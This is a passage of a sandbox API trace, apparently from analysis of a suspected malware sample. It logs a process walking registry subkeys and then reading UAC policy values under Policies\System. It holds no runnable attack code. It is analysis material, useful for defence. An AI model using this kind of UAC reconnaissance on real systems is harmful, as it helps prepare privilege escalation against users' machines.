lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.508] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x8eb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x8ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.508] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x8eb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x8ec120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.508] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x8eb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x8ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0259.508] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.508] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.508] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x8eb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x8ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.509] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.509] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.509] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.509] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x8eb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x8ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.509] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.509] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.509] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.509] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x8eb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.509] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x8ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0259.509] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x8eb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0259.509] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x8eb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0259.509] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x8eb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0259.509] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x8eb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x8eb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x8eb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x8eb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x8eb930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x8eb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x8eb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x8eb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x8eb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x8eb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x8eb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x8eb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x8eb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x8eb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x8eb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x8eb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0259.510] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x8eb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x8eb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x8eb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x8eb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x8eb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x8eb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x8eb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x8eb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x8eb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x8eb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x8eb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x8eb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x8eb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x8eb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x8eb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x8eb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0259.511] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x8eb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x8eb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x8eb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x8eb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x8eb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x8eb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x8eb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x8eb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x8eb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x8eb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x8eb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x8eb930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x8eb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x8eb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x8eb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x8eb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x8eb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.512] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x8eb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x8eb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x8eb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x8eb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x8eb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x8eb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x8eb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x8eb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x8eb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x8eb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x8eb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x8eb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x8eb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x8eb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x8eb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x8eb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0259.513] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x8eb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x8eb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x8eb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x8eb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x8eb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x8eb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x8eb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x8eb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x8eb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x8eb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0259.514] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0259.514] RegCloseKey (hKey=0x38) returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x8eb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0259.514] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0259.514] RegCloseKey (hKey=0xc4) returned 0x0 [0259.514] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x8eb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x8eb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x8eb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x8eb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x8eb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x8eb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x8eb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x8eb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x8eb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x8eb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x8eb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x8eb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x8eb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x8eb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x8eb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x8eb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0259.515] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x8eb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x8eb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x8eb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x8eb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x8eb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x8eb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x8eb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x8eb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x8eb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x8eb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x8eb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x8eb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x8eb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x8eb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x8eb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x8eb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x8eb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0259.516] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x8eb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x8eb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x8eb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x8eb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x8eb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x8eb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x8eb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.517] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0259.517] RegCloseKey (hKey=0x38) returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x8eb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x8eb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x8eb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x8eb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0259.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x8eb930, cchName=0x104 | out: lpName="System") returned 0x0 [0259.517] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0259.518] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb930) returned 1 [0259.518] RegCloseKey (hKey=0xc4) returned 0x0 [0259.518] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb860) returned 1 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, 